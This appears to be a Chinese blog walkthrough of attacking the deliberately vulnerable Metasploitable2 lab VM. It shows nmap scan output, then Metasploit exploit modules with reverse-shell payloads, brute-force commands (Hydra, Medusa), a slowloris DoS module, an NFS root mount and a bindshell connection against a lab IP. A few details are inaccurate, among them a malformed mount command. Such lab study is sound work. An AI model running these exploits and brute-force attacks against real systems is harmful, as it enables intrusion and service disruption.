Metasploitable2 漏洞解析

发布于 2023-10-02  221 次阅读


信息收集阶段

由于是Vmware中的靶机,所以不做真实IP、旁站、C段、WAF等信息的收集

端口收集:

获得开放的服务信息:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-27 19:22 CST
Host is up (0.016s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.24.253
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-bounce: bounce working!
22/tcp   open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_  2048 5656240f211ddea72bae61b1243de8f3 (RSA)
23/tcp   open  telnet       Linux telnetd
25/tcp   open  smtp         Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
53/tcp   open  domain       ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp   open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp  open  rpcbind      2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/udp   nfs
|   100005  1,2,3      40158/udp   mountd
|   100005  1,2,3      47688/tcp   mountd
|   100021  1,3,4      55247/udp   nlockmgr
|   100021  1,3,4      59456/tcp   nlockmgr
|   100024  1          49302/tcp   status
|_  100024  1          58498/udp   status
139/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn  Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp  open  exec?
513/tcp  open  login?
514/tcp  open  shell?
1099/tcp open  java-rmi     GNU Classpath grmiregistry
1524/tcp open  bindshell    Metasploitable root shell
2049/tcp open  nfs          2-4 (RPC #100003)
2121/tcp open  ccproxy-ftp?
3306/tcp open  mysql?
5432/tcp open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
5900/tcp open  vnc          VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    VNC Authentication (2)
6000/tcp open  X11          (access denied)
6667/tcp open  irc          UnrealIRCd
8009/tcp open  ajp13        Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http         Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/5.5
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.4.X, Microsoft Windows XP|7|2012
OS CPE: cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: DD-WRT v24-sp2 (Linux 2.4.37), Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012
Network Distance: 2 hops
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 1h59m36s, deviation: 2h49m45s, median: -25s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2023-09-27T07:25:06-04:00

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.21 ms 192.168.207.2
2   0.06 ms 172.16.10.36

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 265.20 seconds

统计阶段

端口/服务 端口/服务
21 / VSFTPD 2.3.4(笑脸漏洞) 1524 / ingreslock后门
22 / 弱口令 512 / 命令执行
23 /弱口令
25 - 514 -
53 - 1099 / java-rmi反序列化
80 - 多种漏洞-例如CGI \ HTTP-DDOS拒绝服务攻击 154 -
111 - NFS服务配置漏洞 2049 / NFS共享漏洞
139、445 / SMB任意命令执行 2121 - ftp弱口令
3306 / MySQL弱口令 3632 / Distccd任意命令执行
5432 / Postgresql弱口令 5900 / vnc弱口令
6000 - 6667 / UnrealIRCd漏洞
6697 / unreal_ircd 8009 / 命令执行
8180 / tomcat弱口令 8787 / drb_remote_codeexec

利用阶段

VSFTPD 2.3.4

利用方式:

  1. metasploit模块利用
  2. 笑脸:)利用(需要目标机器开启6200端口)
  3. ftp爆破

使用metasploit中的利用模块

msfconsole:进入metasploit`
 `search vsftpd:搜索利用模块`
 `use exploit/unix/ftp/vsftpd_234_backdoor:使用模块`
 `options:查看需要配置的参数`
 `set rhost 192.168.207.140:设置目标IP`
 `run:开始运行

成功拿到shell

image-20231008133014120

SSH爆破

利用方式:

  1. metasploit模块利用
  2. ssh爆破

ssh爆破
使用Medusa美杜莎工具爆破该靶机的SSH账密
medusa -M ssh -h 192.168.207.140 -U user.txt -P pass.txt -f -t 5这里为了方便直接设置了用户名为msfadmin
image-20231008133310419

Telnet爆破

利用方式:

  1. metasploit模块利用
    测试的Hydra和Medusa都无法爆破Telnet,如果是利用错误或者有其他的利用方式希望各位师傅可以为我指出,谢谢啦!

使用metasploit中的利用模块

msfconsole:进入metaspolit`
 `search telnet_login:搜索利用模块`
 `use scanner/telnet/telnet_login:使用模块`
 `options:查看需要配置的参数

image-20231008133433899

set rhosts 192.168.207.140:设置目标机IP
set user_file 用户名字典路径
set pass_file 密码的字典路径
set threads 10:设置线程数量
run:运行
image-20231008133626334

CGI/FastCGI

首先了解什么是CGI:

我是从这里了解到有关于CGI知识的

CGI是一个通用网关接口,用于Web服务器与外部应用程序(CGI程序)之间传递信息的接口标准。

当客户端向Web服务器发起一次请求的时候:

如果请求的是静态文件,例如html文件。不调用CGI,也就是不发起CGI请求。Web服务器会直接返回该文件的内容。

如果请求的是动态脚本,例如php文件。调用CGI,发起一次CGI请求。Web服务器会启动对应的CGI程序,将数据进行简单的处理之后交给PGP解释器。

CGI程序会解析请求中的URL,查询字符串(在?之后的参数,每对参数根据键值对来划分,每对参数使用&来分隔),POST数据和HTTP头部的信息,并且根据这些信息生成动态的响应内容。CGI程序会按照CGI协议规定的格式将结果返回给Web服务器,然后Web服务器将结果返回给客户端。

在处理完一个请求之后,CGI程序会退出,如果下次有新的CGI请求,Web服务器会再次启动一个新的CGI进程来处理。

而需要注意的是,随着科技的进步技术的发展,出现了更高效的替代方案,例如FastCGI,WSGI等,他们可以有效的避免每次请求都启动新的进程,提高性能和效率。

什么是FastCGI:

FastCGI是CGI的改进版本,用来改善CGI的性能问题。

而两者的区别为:

CGI:当每次请求到达的时候都会启动一个CGI进程来执行相对应的CGI程序并且处理请求返回结果。而用完之后会销毁这个CGI进程。频繁的创建和销毁CGI进程会对服务器性能有较大的损耗。

FastCGI:FastCGI在Web中引用了一个进程管理器,它会启动一组长时间运行的FastCGI进程。这些FastCGI进程会一直保持运行状态,当每次有请求到达的时候,Web会将请求发给空闲的FastCGI进程,而不需要重新创建进程。避免了频繁的创建和销毁进程,提高了性能和效率。

使用目录扫描成功发现文件:phpinfo.php

通过访问得知当前的 Server API是CGI/FastCGI
在这里插入图片描述
而该方式在PHP中可能存在CGI参数注入等问题。

CGI 参数注入可能发生的原因主要包括以下情况:

  1. 未正确过滤用户输入:如果 CGI 程序在接收到参数后未对用户输入进行适当的验证和过滤,攻击者可能利用特殊字符或字符串注入恶意代码,从而执行未经授权的操作。
  2. 命令注入:当 CGI 程序在执行系统命令时,如果未正确地对参数进行转义或验证,攻击者可能通过注入恶意命令来执行任意命令。
  3. SQL 注入:如果 CGI 程序在与数据库交互时,未对参数进行参数化查询或预编译语句处理,攻击者可能通过注入恶意 SQL 语句来访问或篡改数据库中的数据。
  4. 文件路径注入:在文件操作中,如果 CGI 程序未正确验证和处理文件路径参数,攻击者可能注入特殊路径来访问敏感文件或执行恶意操作。

利用方式:

  1. metasploit模块利用

使用metasploit中的利用模块

msfconsole:进入metasplot`
 `search php_cgi:搜索利用模块`
 `use exploit/multi/http/php_cgi_arg_injection:使用模块`
 `options:查看需要配置的参数
 `set rhost 192.168.207.140:设置目标机IP`
 `run:运行`

image-20231008133741567

DDOS拒绝服务攻击

通过db_nmap漏洞扫描得知存在一个CVE漏洞,并且通过查询得知,该CVE是一个DDOS攻击。

 db_nmap --script=vuln -p 80 -T4 192.168.207.140

利用方式:

  1. metasploit模块利用

使用metasploit中的利用模块

msfconsole:进入metasploit`
 `search slowloris:搜索利用模块`
 `use auxiliary/dos/http/slowloris:使用模块`
 `options:查看需要配置的参数
 set rhost 192.168.207.140:设计目标机IP`
 `run:运行

SMB任意命令执行

139与445分别为:NetBIOS协议和SMB协议,都涉及文件共享和通信。

但是NetBIOS是早期用于文件共享和通信的协议。由于安全性和设计限制等问题,逐渐被SMB取代。

也可以理解为SMB协议是NetBIOS的平替或者升级版。

由于139和445都属于SMB服务类型,所以两者可能存在相同的漏洞,这点可以在nmap扫描中获得关键信息(见第一页nmap扫描结果)。

利用方式:

  1. metasploit模块利用

使用metasplooit中的利用模块

msfconsole:进入metasploit`
 `search samba:搜索利用模块`
 `use exploit/multi/samba/usermap_script:使用模块`
 `options:查看需要配置的参数
 set rhosts 192.168.207.140:设置目标机IP`
 `run:运行

image-20231008134023099

exec账密爆破

有的师傅说该服务可以使用hydra进行爆破

我使用的命令为:hydra -L username.txt -P password.txt rexec 没有爆破成功

java-rmi反序列化

使用db_nmap扫描该端口

db_nmap --script=vuln -p 1099 192.168.207.140提示该端口的状态为脆弱

利用方式:

  1. metasploit模块利用

使用metasploit中的利用模块

msfconsole:进入metasploit`
 `search java_rmi:搜索利用模块`
 `use exploit/multi/misc/java_rmi_server:使用模块`
 `options:查看需要配置的参数
 set rhosts 192.168.207.140:设置目标机IP`
 `run:运行

image-20231008134156377

ingreslock后门

使用db_nmap扫描该端口

db_nmap --script=vuln -p 1524 192.168.207.140显示当前端口服务名为ingreslock

ingreslock是一个早期的数据库管理系统漏洞,它可能导致很严重的安全问题

利用方式:

  1. Telnet连接

使用Telnet连接

telnet 192.168.207.140 1524

image-20231008134308356

nfs文件共享漏洞

使用命令查看文件共享情况:showmount -e 192.168.207.140

image-20231008134334765

所有文件共享

利用方式:

  1. mount进行共享

开始利用

mkdir /temp/:在攻击机的根目录创建temp文件夹`
 `mount -t 192.168.207.140:/ ./temp -o nolock:将temp与目标机共享`
 `cd /temp:进入共享文件夹`
 `ll:查看所有文件以及目录

image-20231008134743762

ftp弱口令

利用方式:

  1. metasploit模块利用

使用metasploit中的利用模块

msfconsole:进入metasploit`
 `search ftp_login:搜索利用模块`
 `use scanner/ftp/ftp_login:使用模块`
 `options:查看需要配置的参数
 set rhosts 192.168.207.140:设置目标机IP`
 `set rport 2121:设置目标机端口(由于该ftp服务开启的为2121端口,所以需要修改端口)`
 `set userpass_file /usr/local/my-files/pass-notebook/123.txt(值得一提的是,账密格式为)

USERNAME1 PASSWORD1
USERNAME2 PASSWORD2
USERNAME3 PASSWORD3
… …

run:运行

image-20231008134937316

MySQL弱口令

利用方式

  1. metasploit模块利用

使用metasploit中的利用模块

msfconsole:进入metasploit`
 `search mysql:搜索利用模块`
 `use scanner/mysql/mysql_login:使用模块`
 `options:查看需要配置的参数
 set rhosts 192.168.207.140:设置目标机IP`
 `run:运行
 没有密码,输入root可以直接登录

image-20231008135046661

Distccd任意命令执行

使用db_nmap扫描该端口

db_nmap --script=vuln -p 3632 192.168.207.140提示当前端口存在一个CVE漏洞。

漏洞编号:cve-2004-2687

利用方式:

  1. metasploit模块利用

使用metasploit中的利用模块

msfconsole:进入metasploit`
 `search distcc:搜索利用模块`
 `use exploit/unix/misc/distcc_exec:使用模块`
 `options:查看需要配置的参数
 set rhosts 192.168.207.140:设置目标机IP`
 `set payload cmd/unix/reverse:设置攻击载荷`
 `run:运行

image-20231008135146251

Postgresql弱口令

利用方式:

  1. metasploit模块利用
  2. Hydra爆破

使用metasploit中的利用模块

msfconsole:进入metasploit`
 `search postgres:搜索利用模块`
 `use scanner/postgres/postgres_login:使用模块`
 `options:查看需要配置的参数
 set rhosts 192.168.207.140:设置目标机IP`
 `run:运行(自带账号密码本,所以不需要额外设置)

image-20231008135228268

Hydra爆破

使用命令:hydra -L 用户名字典 -P 密码字典 192.168.207.140 postgres -s 5432 -t 8

vnc弱口令

利用方式:

  1. metasploit模块利用
  2. Medusa爆破

使用metasploit中的利用模块

msfconsole:进入metasploit`
 `search vnc_login:搜索利用模块`
 `use scanner/vnc/vnc_login:使用模块`
 `options:查看需要配置的参数
 set rhosts 192.168.207.140:设置目标机IP`
 `run:运行(自带账号密码本,所以不需要额外设置)

image-20231008135322954

Medusa爆破

使用命令:medusa -h 192.168.207.140 -U user.txt -P pass.txt -M vnc -t 4

UnrealIRCd漏洞

UnrealIRCd 曾经存在严重的安全漏洞,可能导致远程代码执行和获取系统访问权限。

其中,最知名的是 UnrealIRCd 3.2.8.1 版本的“幽灵漏洞”(Ghost Vulnerability),也被编号为CVE-2010-2075。这个漏洞允许攻击者通过特定的恶意请求在目标服务器上执行任意代码,从而获得服务器的控制权。该漏洞曾广泛被利用。

利用方式:

  1. metasploit模块利用

使用metasploit中的利用模块

msfconsole:进入metasploit`
 `search ircd:搜索利用模块`
 `use exploit/unix/irc/unreal_ircd_3281_backdoor:使用模块`
 `options:查看需要配置的参数
 set rhosts 192.168.207.140:设置目标机IP`
 `set lhost 192.168.207.1:设置攻击机IP`
 `set payload cmd/unix/reverse:设置攻击载荷`
 `run:运行

image-20231008135529393

tomcat弱口令

利用方式:

  1. metasploit模块利用
  2. Hydra爆破

使用metasploit中的利用模块

msfconsole:进入metasploit`
 `search tomcat:搜索利用模块`
 `use auxiliary/scanner/http/tomcat_mgr_login:使用模块`
 `options:查看需要配置的参数
 set rhosts 192.168.207.140:设置目标机IP`
 `set rport 8180:设置端口(因为不是默认的8080,所以需要设置8180)`
 `run:运行(自带账号密码本,所以不需要额外设置)

image-20231008135620323

Hydra爆破

使用命令:hydra -L user.txt -P pass.txt 192.168.207.140 -s 8180 http-get /manager/html

6667端口6697 IRC服务, IRC服务这个版本存在后门漏洞,直接exp后getshell

使用模块:use exploit/unix/irc/unreal_ircd_3281_backdoor

8787端口drb服务,有个远程sa代码执行漏洞

使用模块:use exploit/linux/misc/drb_remote_codeexec

512端口 exec

Distcc 用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是 xcode1.5 版本及其他版本的 distcc2.x 版本配置对于服务器端口的访问不限制。

image-20231008135825940

如有侵权,请即使告知

Daniel_WRF
最后更新于 2023-10-08